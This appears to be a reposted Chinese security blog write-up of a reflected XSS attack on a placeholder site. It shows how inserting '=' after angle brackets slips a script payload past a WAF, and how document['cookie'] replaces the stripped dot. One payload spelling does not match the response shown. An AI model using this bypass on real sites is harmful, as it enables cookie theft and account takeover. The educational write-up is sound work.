声明:所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,作者不承担相应的后果.
测试目标假定为:example.domain.com
产生漏洞的url:
https://example.domain.com/domain/modules/name.aspx?ak=FUZZ
访问该url时,返回:
<p><span class="red"><span id="ak">FUZZ</span></span></p>
可以看到ak参数的值“FUZZ”反射在响应代码中。因此,尝试注入如下代码:
/name.aspx?ak=<script>alert(“hacked”)</script>
但是在提交此请求时,被重定向到一个错误页面,很明显被阻断了。
尝试了许多不同的payload后,发现在payload中只要使用“<”和“>”就会被重定向到错误页面。在尝试对其进行编码甚至双重编码后,它仍然不起作用。
但我观察到一些有趣的事情:当我在尖括号后放置某些特殊字符时,它们会反射在响应中,而不会触发重定向,如:
/name.aspx?ak=<&
返回:
<p><span class="red"><span id="ak"><&</span></span></p>
当我提交“.”和“=”符号时,它们被剥离了,没有出现在响应中。
/name.aspx?ak=hacked===.
返回:
<p><span class="red"><span id="ak">hacked</span></span></p>
这越来越有趣了。让我们通过在等号前添加尖括号来测试,
/name.aspx?ak=<=hacked>=
返回:
<p><span class="red"><span id="ak"><hacked></span></span></p>
而且没有被重定向,因此,我开始使用相同的方法制作有效载荷,如下所示:
<=script>=alert("hacked")<=/scirpt>=
返回:
<p><span class="red"><span id="ak"><script>alert("hacked")</script></span></span></p>
成功了,但这里有一个小问题:我无法弹出 cookie,因为服务器删除了“.”符号。
经过一些研究,我发现了在不使用“.”符号的情况下获得它的方法,例如:
alert(document["cookie"])
原文始发于微信公众号(薯条机器猫):一则有趣的XSS WAF绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论